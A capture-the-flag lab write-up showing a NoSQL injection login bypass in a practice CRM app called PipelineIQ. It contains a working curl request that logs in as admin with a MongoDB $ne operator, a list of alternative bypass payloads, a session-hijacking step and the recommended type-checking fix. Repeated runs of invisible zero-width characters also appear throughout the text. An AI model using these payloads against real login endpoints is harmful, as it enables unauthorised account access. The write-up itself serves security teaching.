Lab 329 — PipelineIQ — NoSQL Injection Authentication Bypass

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: authentication_bypass, mongodb_query_operator_injection, nosql_injection_ne_operator, session_hijacking

Summary

Walkthrough of the CUSTOM Web Lab 329 — PipelineIQ — NoSQL Injection Authentication Bypass. Task: CRM platform with JSON login API that passes user input directly to MongoDB without type validation. Solution: NoSQL injection using $ne operator to bypass authentication and access admin report

Description

PipelineIQ is a customer relationship management platform used by sales teams to manage their contacts, deals, and sales pipeline. The application features a login portal, contact management, deal tracking across pipeline stages, activity logging, and an admin reporting dashboard.

Your goal is to find and exploit a vulnerability that lets you access data you shouldn't be able to see. The flag is hidden in a restricted admin report that only administrators can view.

Credentials provided: user / password123 Hint: The login form sends credentials as JSON to an API endpoint. Look at how the server processes the request body — does it validate the types of the fields it receives? ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A CRM application with a JSON-based login API. The server doesn't validate that username/password fields are strings, allowing MongoDB query operators to be injected for authentication bypass.

Target: https://7a07c153-2685-4dd9-9264-3fb5dbdea48f.labs.hackadvisor.io/ Credentials: user / password123

Analysis

Reconnaissance

1. Identified Express.js backend from X-Powered-By: Express header
2. Found login page at /login which sends JSON to /api/auth/login endpoint
3. The hint explicitly mentioned "validating types of fields" — strong indicator of NoSQL injection ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability Identification

When a server passes JSON objects directly to MongoDB without type validation, attackers can inject MongoDB query operators instead of string values. Common operators for authentication bypass:

• $ne (not equal) — matches if field is not equal to value
• $gt (greater than) — matches if field is greater than value
• $regex — matches if field matches regex pattern
• $exists — matches if field exists

The login query likely looks like:

 javascript read-only • copy allowed Copy
db.users.find({username: req.body.username, password: req.body.password})

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

If we send {"$ne": ""} as the password, the query becomes:

 javascript read-only • copy allowed Copy
db.users.find({username: "admin", password: {$ne: ""}})

This matches any user named "admin" whose password is NOT empty (i.e., any real password).

Solution

Step 1: NoSQL Injection Attack

Used MongoDB's $ne operator to bypass authentication:

 bash read-only • copy allowed Copy
curl -s -X POST https://7a07c153-2685-4dd9-9264-3fb5dbdea48f.labs.hackadvisor.io/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":{"$ne":""}}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The server accepted this and returned a valid session cookie for the admin user.

Step 2: Session Hijacking

Captured the session cookie from the response headers and used it to access authenticated admin pages.

Step 3: Flag Retrieval

Accessed /admin/reports with the admin session. Found the flag in the "Internal Audit Report — Confidential" document:

4. System access review flag: FLAG{REDACTED}

Alternative Payloads

Other payloads that would work for this vulnerability:

 json read-only • copy allowed Copy
{"username":"admin","password":{"$gt":""}}
{"username":"admin","password":{"$regex":".*"}}
{"username":"admin","password":{"$exists":true}}
{"username":{"$ne":""},"password":{"$ne":""}}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Notes

• The challenge included a honeypot decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} hidden in HTML comments designed to fool automated scanners
• The vulnerability exists because the server passes JSON objects directly to MongoDB without validating that username/password are strings
• Fix: Use explicit type checking like typeof req.body.password === 'string' or use mongoose schema validation ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering authentication_bypass, mongodb_query_operator_injection, nosql_injection_ne_operator, session_hijacking was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-04-27 • CUSTOM • Lab 329 — PipelineIQ — NoSQL Injection Authentication Bypass • Difficulty: Easy